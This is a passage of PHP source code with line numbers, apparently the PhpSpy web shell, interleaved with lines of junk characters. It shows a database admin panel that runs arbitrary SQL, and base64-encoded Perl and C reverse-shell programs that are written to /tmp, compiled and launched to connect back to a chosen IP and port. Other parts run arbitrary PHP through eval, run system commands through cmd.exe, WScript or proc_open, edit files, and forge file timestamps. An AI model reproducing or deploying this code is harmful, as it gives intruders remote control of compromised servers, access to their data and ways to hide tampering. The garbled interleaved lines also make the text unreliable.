897.                                                 $rowdb[] = $row;
     
898.                                         }
     
899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     
900.                                         p('<tr class="head">');
     
901.                                         p('<td>Field</td>');
     
902.                                         p('<td>Type</td>');
     . S% l6 D& T( ?. h% j; B, ^' j
903.                                         p('<td>Null</td>');
     4 |3 o, U( q. m5 O' e
904.                                         p('<td>Key</td>');
     ! |8 l1 o$ |- F% u
905.                                         p('<td>Default</td>');
     + m5 k& \2 `: p- _
906.                                         p('<td>Extra</td>');
     
907.                                         p('</tr>');
     
908.                                         foreach ($rowdb as $row) {
     
909.                                                 $thisbg = bg();
     + f. q/ m" O0 C& M2 H
910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     . \" B( V" _- e" |/ Z
911.                                                 p('<td>'.$row['Field'].'</td>');
     8 A/ a0 c: U1 v. k! K# z& ]
912.                                                 p('<td>'.$row['Type'].'</td>');
     
913.                                                 p('<td>'.$row['Null'].' </td>');
     1 J9 O: W/ u$ }: |. y6 T' b/ L2 D
914.                                                 p('<td>'.$row['Key'].' </td>');
     
915.                                                 p('<td>'.$row['Default'].' </td>');
     ' ?; i/ Q4 o4 Y9 f- |' A2 g; G
916.                                                 p('<td>'.$row['Extra'].' </td>');
     / i# Q- `2 z. G" v3 t9 _: W
917.                                                 p('</tr>');
     7 r3 \( p0 W& i
918.                                         }
     ; R5 w( J8 [' ?+ x: T% o
919.                                         tbfoot();
     ; @) V* ^8 X4 A$ q7 y& y
920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {
     
921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);
     
922.                                         while ($row = mysql_fetch_array($result)) {
     + V$ `; b. k( t; |$ `5 S
923.                                                 $rowdb[] = $row;
     7 f7 w' u. D/ v2 z6 B  }, \
924.                                         }
     
925.                                         $rs = array();
     ' O8 v3 m; w1 W. Y
926.                                         if ($doing == 'insert') {
     2 {- }, g5 L# D5 b; v
927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
     . B' h' t7 A: w9 z2 m& p
928.                                         } else {
     
929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
     - C" g5 b: p/ x' [& J% \( p
930.                                                 $where = base64_decode($base64);
     ; Y" E+ _4 Q: D) ?4 _
931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
     0 z" H" r1 y# b/ @
932.                                                 $rs = mysql_fetch_array($result);
     ; M- u% v( O& m( u! x( j) p
933.                                         }
     / J" t, @% H) j0 I* G
934.                                         p('<form method="post" action="'.$self.'">');
     ) N, s' K' J7 {7 @
935.                                         p($dbform);
     
936.                                         makehide('action','sqladmin');
     
937.                                         makehide('tablename',$tablename);
     
938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     + }! H# p! q' k7 [; |
939.                                         foreach ($rowdb as $row) {
     
940.                                                 if ($rs[$row['Field']]) {
     5 A5 _& @1 Q  U7 j. H
941.                                                         $value = htmlspecialchars($rs[$row['Field']]);
     % K6 o; }. f% R7 H+ L
942.                                                 } else {
     & O5 L9 D! K& q4 f! G
943.                                                         $value = '';
     
944.                                                 }
     1 ?7 g2 R- K+ H
945.                                                 $thisbg = bg();
     ; ]# l: T; O5 i( x: D% |/ [
946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     ( r6 x! H1 t  \
947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
     2 x, h# q2 M2 G6 D/ z# V# u& S
948.                                         }
     : h* p% I# `0 v1 L$ e
949.                                         if ($doing == 'insert') {
     
950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
     # E$ v. U2 Z& b# W; s3 }
951.                                         } else {
     
952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
     
953.                                                 makehide('base64', $base64);
     
954.                                         }
     # B  j" z' @/ Z& }& u
955.                                         p('</table></form>');
     ! h% j. [# s  H% z. n
956.                                 } else {
     8 x; p& p4 D$ s
957.                                         $querys = @explode(';',$sql_query);
     
958.                                         foreach($querys as $num=>$query) {
     $ }9 z! h; D; o6 [
959.                                                 if ($query) {
     : L: }9 m# Y4 P  p$ o. a+ e/ v" c$ d
960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
     
961.                                                         switch(qy($query))
     6 R$ F3 _  a+ w# ^7 [  j
962.                                                         {
     
963.                                                                 case 0:
     9 A9 T2 W0 S' q! `" Q# }, e
964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
     1 w' J  z9 r8 X* c* C- D6 R
965.                                                                         break;       
     
966.                                                                 case 1:
     
967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {
     $ |5 O) f6 h, H3 U
968.                                                                                 $allowedit = 1;
     
969.                                                                         }
     0 a: t4 @- w1 P4 Y
970.                                                                         if ($getnumsql) {
     
971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
     % u6 A7 y" @0 R/ A! A
972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);
     * \7 M1 x+ D" y3 \7 K& A/ j4 q
973.                                                                         }
     
974.                                                                         if (!$tablename) {
     1 H9 \8 I7 j0 t1 t  J' V9 u! R5 ^
975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
     , t) |% F$ P; o  |1 w/ L  e
976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
       u) r2 O( |6 m, S4 q
977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
     
978.                                                                                 $tablename = $matches[1][0];
     
979.                                                                         }
     2 P9 h4 y% f4 X
980.                                                                         $result = q($query);
     
981.                                                                         p($multipage);
     $ j! p- ^8 @* t. E! ?: O4 }
982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     " `7 r/ n: b* V- W! Z4 C8 L
983.                                                                         p('<tr class="head">');
     
984.                                                                         if ($allowedit) p('<td>Action</td>');
     
985.                                                                         $fieldnum = @mysql_num_fields($result);
     4 B( r6 q( F& ?% x# }
986.                                                                         for($i=0;$i<$fieldnum;$i++){
     
987.                                                                                 $name = @mysql_field_name($result, $i);
     ; z6 r* i: T( ]. l5 b( _# L0 P* Q
988.                                                                                 $type = @mysql_field_type($result, $i);
       m- Q5 H, c" P. {& H" c* _. K
989.                                                                                 $len = @mysql_field_len($result, $i);
     0 D  L; ], h* ^9 H) P7 G
990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
     
991.                                                                         }
     1 K9 `  a& J) p1 h
992.                                                                         p('</tr>');
     * `. V8 [! a& a
993.                                                                         while($mn = @mysql_fetch_assoc($result)){
     / p6 m. x) j1 B0 q# m3 Q/ |2 Y- z
994.                                                                                 $thisbg = bg();
     ; ^! [# [7 _3 b5 W: x& t+ U
995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     6 t% j" I5 J" t
996.                                                                                 $where = $tmp = $b1 = '';
     # v- [0 y4 r0 G( r! Z
997.                                                                                 foreach($mn as $key=>$inside){
     
998.                                                                                         if ($inside) {
     
999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
     
1000.                                                                                                 $tmp = ' AND ';
      % h0 a1 f, h1 f" a# R8 [
1001.                                                                                         }
      
1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
      & g. a+ W6 ~1 j# t% M
1003.                                                                                 }
      
1004.                                                                                 $where = base64_encode($where);
      3 V- m* |: a8 @4 a" u, A% T: g3 w# q
1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
      
1006.                                                                                 p($b1);
      
1007.                                                                                 p('</tr>');
      
1008.                                                                                 unset($b1);
      
1009.                                                                         }
      ! ]" w  I. c, z+ m
1010.                                                                         tbfoot();
      
1011.                                                                         p($multipage);
      ( O& |9 i" E+ W4 r5 ?: E4 ~
1012.                                                                         break;       
      - b. g& W3 b1 m% f1 A
1013.                                                                 case 2:
      1 U2 ]* o9 A+ x7 P' `0 l. E  X9 z3 B, H2 g
1014.                                                                         $ar = mysql_affected_rows();
      , b( f+ s6 L* g% k1 s7 v7 {
1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');
      
1016.                                                                         break;
      % B  a. o; E+ i% v6 A
1017.                                                         }
      5 I$ X& D( L' n/ y" U# k
1018.                                                 }
      
1019.                                         }
      % U7 e, t8 E( \2 |8 ~: Z
1020.                                 }
      9 S( {  F* x3 W) T2 V. T) @. ]
1021.                         } else {
      
1022.                                 $query = q("SHOW TABLE STATUS");
      6 b$ F. v8 T/ y! F! E0 T) f9 y8 H
1023.                                 $table_num = $table_rows = $data_size = 0;
      
1024.                                 $tabledb = array();
      
1025.                                 while($table = mysql_fetch_array($query)) {
      
1026.                                         $data_size = $data_size + $table['Data_length'];
      
1027.                                         $table_rows = $table_rows + $table['Rows'];
      
1028.                                         $table['Data_length'] = sizecount($table['Data_length']);
      
1029.                                         $table_num++;
      1 U  g# s1 a! c3 y
1030.                                         $tabledb[] = $table;
      * Q- M6 g( x9 S" m4 c. T, _( ?
1031.                                 }
      ; N( o9 W! ?3 [" H
1032.                                 $data_size = sizecount($data_size);
      ; w: U) `; W$ B9 Y# x; A" Y" q
1033.                                 unset($table);
      # \1 N6 w( H4 s: {1 `9 u% d; o
1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');
      
1035.                                 p('<form action="'.$self.'" method="POST">');
      
1036.                                 makehide('action','sqladmin');
      
1037.                                 p($dbform);
      
1038.                                 p('<tr class="head">');
      
1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
      ! K) R* T4 Y0 N, h
1040.                                 p('<td>Name</td>');
      + ?% i5 q# y1 M& h( l) e4 |
1041.                                 p('<td>Rows</td>');
      9 a0 W! [5 d9 Y. ^1 q
1042.                                 p('<td>Data_length</td>');
      
1043.                                 p('<td>Create_time</td>');
      6 H' D0 r" r/ o& \- z  o- |( I" ?
1044.                                 p('<td>Update_time</td>');
      % z- e. ~1 u- d  }& X+ ~; d
1045.                                 if ($highver) {
      - l7 [* @( Z0 M/ Y. X$ y. z
1046.                                         p('<td>Engine</td>');
      
1047.                                         p('<td>Collation</td>');
      
1048.                                 }
      
1049.                                 p('</tr>');
      ' V* T& Y; z( C5 }5 \
1050.                                 foreach ($tabledb as $key => $table) {
      ! ^3 G  D% P$ M
1051.                                         $thisbg = bg();
      * H: z1 z5 \  N2 a2 V/ Y
1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
      
1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
      ' K  J# b+ }! D' r; l
1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
      8 j, x( N6 j- D! B! i0 B* t0 }
1055.                                         p('<td>'.$table['Rows'].'</td>');
      " g, L3 D. W$ V
1056.                                         p('<td>'.$table['Data_length'].'</td>');
      
1057.                                         p('<td>'.$table['Create_time'].'</td>');
      
1058.                                         p('<td>'.$table['Update_time'].'</td>');
      ' h: w  x* k' d* k# Z$ V( o4 Q: T- m
1059.                                         if ($highver) {
      3 w* h- ~8 ^6 w
1060.                                                 p('<td>'.$table['Engine'].'</td>');
      
1061.                                                 p('<td>'.$table['Collation'].'</td>');
      " H" Y; t& e5 ~6 P' z
1062.                                         }
      5 Y: A6 i' m, o2 ~8 J* K
1063.                                         p('</tr>');
      
1064.                                 }
      + ?0 @1 x4 }( A& e  k$ Y
1065.                                 p('<tr class='.bg().'>');
      # n! A5 t* P. u& w" ~. T1 a4 n
1066.                                 p('<td> </td>');
      
1067.                                 p('<td>Total tables: '.$table_num.'</td>');
      
1068.                                 p('<td>'.$table_rows.'</td>');
      
1069.                                 p('<td>'.$data_size.'</td>');
      
1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
      
1071.                                 p('</tr>');
      
1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
      3 i$ t$ z' Z' r/ B! `5 n9 S
1073.                                 makehide('doing','backupmysql');
      " N# R5 o9 j4 z" n- L* R1 O6 H; w* f9 Z
1074.                                 formfoot();
      
1075.                                 p("</table>");
      
1076.                                 fr($query);
      , }) k; f+ ^9 B* }. r# E) ^# U
1077.                         }
      
1078.                 }
      " U# B! B6 M' u$ }) w3 {
1079.         }
      
1080.         tbfoot();
      1 P( p- d1 z- C+ w' n& i
1081.         @mysql_close();
      
1082. }//end sql backup
      $ C. T# ]0 Y$ w) J2 u# d
1083. elseif ($action == 'backconnect') {
      
1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
      
1085.         !$yourport && $yourport = '12345';
      
1086.         $usedb = array('perl'=>'perl','c'=>'c');
      
1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
      " k7 t% {9 t0 S( A
1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
      
1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
      6 Q3 F" j& \8 }
1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
      2 W, w* N+ k) c
1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
      
1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
      % f* Q+ F; @) n
1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
      
1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
      
1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
      
1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
      * p1 ?& t- I9 p  P* b. e
1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
      
1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
      
1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
      
1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
      
1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
      
1102.         if ($start && $yourip && $yourport && $use){
      
1103.                 if ($use == 'perl') {
      & M- g  i8 i5 ^, B) P$ k2 H
1104.                         cf('/tmp/angel_bc',$back_connect);
      
1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
      
1106.                 } else {
      7 s( D: `) I6 P
1107.                         cf('/tmp/angel_bc.c',$back_connect_c);
      ! t$ H4 q1 z3 k. x+ T" F2 {
1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
      3 C  V6 M+ w9 w: j
1109.                         @unlink('/tmp/angel_bc.c');
      / F& V9 r2 ?7 N" s& n6 W
1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");
      - K; ]& @, Y& w* I5 K  g
1111.                 }
      ) G1 e+ `! b9 _! C3 T( R
1112.                 m("Now script try connect to $yourip port $yourport ...");
      3 W3 P& {) L( [  u. m% D
1113.         }
      
1114.         formhead(array('title'=>'Back Connect'));
      
1115.         makehide('action','backconnect');
      7 A0 Y0 S" A7 n0 g- p( g
1116.         p('<p>');
      
1117.         p('Your IP:');
      * e) O2 ~9 Z/ Q* ]
1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
      
1119.         p('Your Port:');
      7 ?/ ^0 c3 O5 M9 Z7 O. M1 c
1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
      6 w& U. H' K. l7 y2 S6 U+ D( l; |0 [
1121.         p('Use:');
      
1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
      
1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
      4 ?7 r( ~- }: d  k' Y& u4 m
1124.         p('</p>');
      9 m( G) m+ A' n9 X7 {7 O6 ]; j
1125.         formfoot();
      1 n% Z4 s5 k+ o' K/ n3 a2 q
1126. }//end sql backup
      
1127. elseif ($action == 'eval') {
      . h" c) d* [- u  p% I
1128.         $phpcode = trim($phpcode);
        ]! D6 s5 w  {0 t. t* s* o
1129.         if($phpcode){
      
1130.                 if (!preg_match('#<\?#si', $phpcode)) {
      
1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";
      0 m: k7 C6 V* g& y2 [
1132.                 }
      
1133.                 eval("?".">$phpcode<?");
      " u/ R- {5 Z8 u
1134.         }
      
1135.         formhead(array('title'=>'Eval PHP Code'));
      
1136.         makehide('action','eval');
      . ]& B. ?& R! k  Z& Z' L, z
1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
      
1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
      - v% |! J9 y7 U6 O+ O* |- G, x
1139.         formfooter();
      & K  o9 r4 {1 R1 b6 s/ }) x
1140. }//end eval
      
1141. 
      5 M0 L" v( _6 X, r# ^% `8 X$ I6 ~
1142. elseif ($action == 'editfile') {
      
1143.         if(file_exists($opfile)) {
      
1144.                 $fp=@fopen($opfile,'r');
      & y2 Z/ c" {" x( C2 g* V4 X
1145.                 $contents=@fread($fp, filesize($opfile));
      
1146.                 @fclose($fp);
      & F  M2 K  C3 f6 V/ g; ]9 B
1147.                 $contents=htmlspecialchars($contents);
      ; @5 I+ a7 N1 O. y2 R/ X
1148.         }
      . S5 {: m: |+ Q' l
1149.         formhead(array('title'=>'Create / Edit File'));
      0 _( V6 m* x' z7 G
1150.         makehide('action','file');
      
1151.         makehide('dir',$nowpath);
      
1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
      * T: j$ a1 F" Z, t) ]5 ~" r% ~; U
1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
      
1154.         formfooter();
      
1155. }//end editfile
      
1156. 
      
1157. elseif ($action == 'newtime') {
      5 H" s( f4 h, P- m8 A5 R  `2 Z
1158.         $opfilemtime = @filemtime($opfile);
      
1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");
      4 O& V7 ~; y  w9 \3 X" n" Y
1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
      
1161.         formhead(array('title'=>'Clone file was last modified time'));
      
1162.         makehide('action','file');
      
1163.         makehide('dir',$nowpath);
      
1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
      
1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
      " ?. m4 w: K- z1 E/ Y
1166.         formfooter();
      ' c* Z; C% c; n8 U% l0 N; L
1167.         formhead(array('title'=>'Set last modified'));
      9 P: i1 W" G6 D  V$ [
1168.         makehide('action','file');
      
1169.         makehide('dir',$nowpath);
      # U/ y- Q0 g' N
1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
      ( l5 B- h, B, Y$ x& L2 ?6 x
1171.         p('<p>Instead »');
      
1172.         p('year:');
      8 G5 Q9 ]- T9 M+ V
1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
      
1174.         p('month:');
      8 o9 l- b2 e- ?! n0 U; `
1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
      
1176.         p('day:');
      
1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
      7 l2 T! i( O. O( Z9 l/ @
1178.         p('hour:');
      
1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
      4 ^7 ^. t! ]2 b
1180.         p('minute:');
      
1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
      ) l$ d. g+ Y/ \" t0 l% J9 _
1182.         p('second:');
      
1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
      
1184.         p('</p>');
      
1185.         formfooter();
      : q8 l2 @; _- Z' C
1186. }//end newtime
      % e4 P- Y0 B2 d% J
1187. 
      3 Z# h: [( ?7 w
1188. elseif ($action == 'shell') {
      ; A5 N7 J) O$ Z4 g  ^4 R. o
1189.         if (IS_WIN && IS_COM) {
      ) _1 Q' {- [& r' y. @( ~$ D
1190.                 if($program && $parameter) {
      
1191.                         $shell= new COM('Shell.Application');
      - S9 M4 j- H0 p* c! H
1192.                         $a = $shell->ShellExecute($program,$parameter);
      
1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
      1 z: E6 F6 ^: K' B9 h
1194.                 }
      
1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';
      
1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
      
1197.                 formhead(array('title'=>'Execute Program'));
      
1198.                 makehide('action','shell');
      4 X6 F7 s0 A, ~) l
1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
      ' \2 F, T! r, i" k* E' h, g1 h
1200.                 p('<p>');
      
1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
      - L$ \8 F+ n2 q: Q  P5 K
1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
      4 n/ V. i, C( a1 B
1203.                 p('</p>');
      
1204.                 formfoot();
      * u3 X: A, x( L
1205.         }
      " W/ v$ E3 ]- a) D% D* e
1206.         formhead(array('title'=>'Execute Command'));
      
1207.         makehide('action','shell');
      % N1 g$ ?, w& B' Q2 p0 W+ z0 m
1208.         if (IS_WIN && IS_COM) {
      1 F5 Q& f' A, j, D: K% A
1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
      
1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
      5 H- L5 P4 F9 ~1 K4 U( K
1211.         }
      " A7 W- C1 H$ w1 o
1212.         p('<p>');
      9 G5 r" d$ U5 U' b
1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
      " F( x! W# P" `- g& Z
1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
      ' H, y$ P6 }$ K2 b8 F2 X% n
1215.         p('</p>');
      5 h, U0 D9 \! i1 N$ Y* t; ~
1216.         formfoot();
      
1217. 
      * c) b( ]3 @( }9 k' l
1218.         if ($command) {
      
1219.                 p('<hr width="100%" noshade /><pre>');
      
1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
      , v& N# `# A' b( v  p' z' \( b
1221.                         $wsh = new COM('WScript.shell');
      
1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);
      
1223.                         $stdout = $exec->StdOut();
      # C3 S9 z* [4 J. o0 y* \) ~
1224.                         $stroutput = $stdout->ReadAll();
      4 X$ B6 ?- R( f, A( c
1225.                         echo $stroutput;
      $ |. d6 x/ ]0 J2 f2 z, L
1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
      
1227.                         $descriptorspec = array(
      , q" B3 v) ?5 S0 E, ]! |  a
1228.                            0 => array('pipe', 'r'),
      
1229.                            1 => array('pipe', 'w'),
      # s  Q0 B3 N5 |8 n" Y
1230.                            2 => array('pipe', 'w')
      
1231.                         );
      $ H) C' ]4 ^2 P
1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
      ) N0 d, l* b' r' [1 v" Z
1233.                         if (is_resource($process)) {
      3 ]' `. N  \; d) U- K! e# B: I
1234.                                 fwrite($pipes[0], $command."\r\n");
      " Q/ @1 F/ z6 k0 Q4 Z
1235.                                 fwrite($pipes[0], "exit\r\n");
      
1236.                                 fclose($pipes[0]);
      
1237.                                 while (!feof($pipes[1])) {
      3 i$ P1 H# n2 J) v+ n
1238.                                         echo fgets($pipes[1], 1024);
      # w1 n* U# J% ^
1239.                                 }
      
1240.                                 fclose($pipes[1]);
      
1241.                                 while (!feof($pipes[2])) {
      # Q4 w  [7 e/ s+ H# e! o
1242.                                         echo fgets($pipes[2], 1024);
      6 d5 H: [) I, c- r- D$ U3 y  k. E
1243.                                 }
      ) w# a7 O7 ?8 @/ }6 S* m- m7 y
1244.                                 fclose($pipes[2]);
      ; B( x+ v1 K3 m% F( P4 t$ t7 r
1245.                                 proc_close($process);
      
1246.                         }
      & S' q! E& u# H( L
1247.                 } else {
      ( G- B6 e8 F: c5 `! C
1248.                         echo(execute($command));
      $ J: p2 t$ S# X9 w0 x  W# }
1249.                 }
      
1250.                 p('</pre>');
      ' O" l" `# o' X2 b3 J/ f
1251.         }
      
1252. }//end shell
      
1253. 
      
1254. elseif ($action == 'phpenv') {
      
1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
      
1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
      
1257.         !$dis_func && $dis_func = 'No';       
      8 i9 ?3 Y, d) [' q1 X$ y- Y4 M
1258.         $info = array(
      ' j- s6 Z4 U; d/ p- B5 |
1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
      5 b1 C/ o. H& U$ n* c8 p" u
1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
      7 d( G" g2 z( ~) s( f
1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
      ) m8 b0 p8 I; T
1262.                 4 => array('Server OS',PHP_OS),
      ! D2 i: S8 @7 y! o& \; E
1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
      
1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
      
1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
      0 c3 w" \5 i, m# p3 r% K5 L/ Y
1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),
        ^9 f" J% L1 M0 k: j$ T
1267.                 9 => array('The file path',__FILE__),
      
1268. 
      
1269.                 10 => array('PHP Version',PHP_VERSION),
      7 x' B; `% U/ m6 g
1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
      0 y; Y* U7 o# I; r& E
